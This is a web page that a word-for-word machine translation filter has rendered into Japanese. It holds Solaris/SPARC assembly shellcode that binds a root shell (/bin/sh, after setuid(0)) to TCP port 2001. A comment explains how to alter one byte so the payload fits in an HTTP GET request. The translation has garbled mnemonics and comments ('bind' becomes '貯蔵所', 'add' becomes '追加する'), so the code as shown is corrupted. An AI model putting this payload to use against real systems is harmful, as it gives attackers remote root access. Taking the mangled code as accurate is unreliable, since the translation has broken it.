このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Solaris/sparc - 貯蔵所d /貯蔵所/sh TCP port 2001
!!! $Id: sparc-貯蔵所d.s,v 1.1 2003/03/01 01:10:51 ghandi Exp $
!!! 貯蔵所d /貯蔵所/sh to TCP port 2001.  Calls setuid(0) so /貯蔵所/sh won't
!!! 減少(する) 特権s.  After 議会, change the third byte in the
!!! 罠(にかける) 指示/教授/教育s to 0x38 to 避ける having spaces in the input so that
!!! it may be used in an HTTP GET request.  For Solaris/SPARC.
!!! 
!!! "I've come here to chew 泡-gum and kick ass...And I'm all out of
!!! 泡 gum."
!!! -- Nada (Roddy Piper), "They Live"
!!! 
!!! -ghandi < ghandi@mindless.com >
!!!

.全世界の	bindsh
.type bindsh,#機能(する)/行事

bindsh:	sub	%sp, 16, %l0		! struct sockaddr sa;

	sub	%sp, %l0, %l7;
	st	%l7, [%sp - 20]		! int sa_len = 16;

	sub	%l7, 14, %o0
	sub	%l7, 14, %o1
	xor	%l1, %l1, %o2
	xor	%l1, %l1, %o3		! %o3 will be used as a %g0
	sub	%l7, 15, %o4
	追加する	%l7, (230 - 16), %g1
	ta	8
	xor	%o2, %o0, %l2		! s = socket(AF_INET, SOCK_STREAM, 0);

	sth	%o1, [%sp - 16]		! sa.sin_family = AF_INET;
	mov	2001, %l6
	sth	%l6, [%sp - 14]		! sa.sin_port = 2001;
	st	%g0, [%sp - 12]		! sa.sin_addr.s_addr = INADDR_ANY;

	xor	%o3, %l2, %o0
	xor	%o3, %l0, %o1
	xor	%o3, %l7, %o2
	追加する	%l7, (232 - 16), %g1
	ta	8			! 貯蔵所d(s, &sa, sa_len);

	xor	%o3, %l2, %o0
	sub	%l7, (16 - 5), %o1
	追加する	%l7, (233 - 16), %g1
	ta	8			! listen(s, SOMAXCONN);
	
	xor	%o3, %l2, %o0
	xor	%o3, %l0, %o1
	sub	%sp, 20, %o2
	追加する	%l7, (234 - 16), %g1
	ta	8		
	xor	%o3, %o0, %l3		! c = 受託する(s, &sa, &sa_len);

	xor	%o3, %l3, %o0
	sub	%l7, (16 - 9),  %o1
	xor	%sp, %sp, %o2
	追加する	%l7, (62 - 16), %g1
	ta	8			! ioctl(c, I_DUP2FD, 0);

	xor     %o3, %l3, %o0
        sub     %l7, (16 - 9),  %o1
	追加する	%o3, 1, %o2
	追加する	%l7, (62 - 16), %g1
	ta	8			! ioctl(c, I_DUP2FD, 1);

	xor     %o3, %l3, %o0
        sub     %l7, (16 - 9),  %o1
	追加する	%o3, 2, %o2
	追加する	%l7, (62 - 16), %g1
	ta	8			! ioctl(c, I_DUP2FD, 2);
	
	xor	%sp, %sp, %o0		! %o0 = 0;
	追加する	%o3, 23, %g1
	ta	8			! setuid(0);
	始める,決める	0x2f62696e, %l0		! (無効の*)sh = '/貯蔵所';
	始める,決める	0x2f736800, %l1		! (無効の*)sh + 4 = '/sh0';
	sub	%sp, 16, %o0		! %o0 = '/貯蔵所/sh';
	sub	%sp, 8, %o1		! %o1 = {'/貯蔵所/sh', NULL};
	xor	%sp, %sp, %o2		! %o2 = NULL;
	std	%l0, [%sp - 16]
	st	%o0, [%sp - 8]		! argv[0] = sh;
	st	%g0, [%sp - 4]		! argv[1] = NULL;
	追加する	%o3, 59, %g1
	ta	8			! execve(sh, argv, NULL);
	xor	%sp, %sp, %o0		! %o0 = 0;
	追加する	%o3, 160, %g1		! %g1 = 160;
	ta	8			! lwp_exit(0)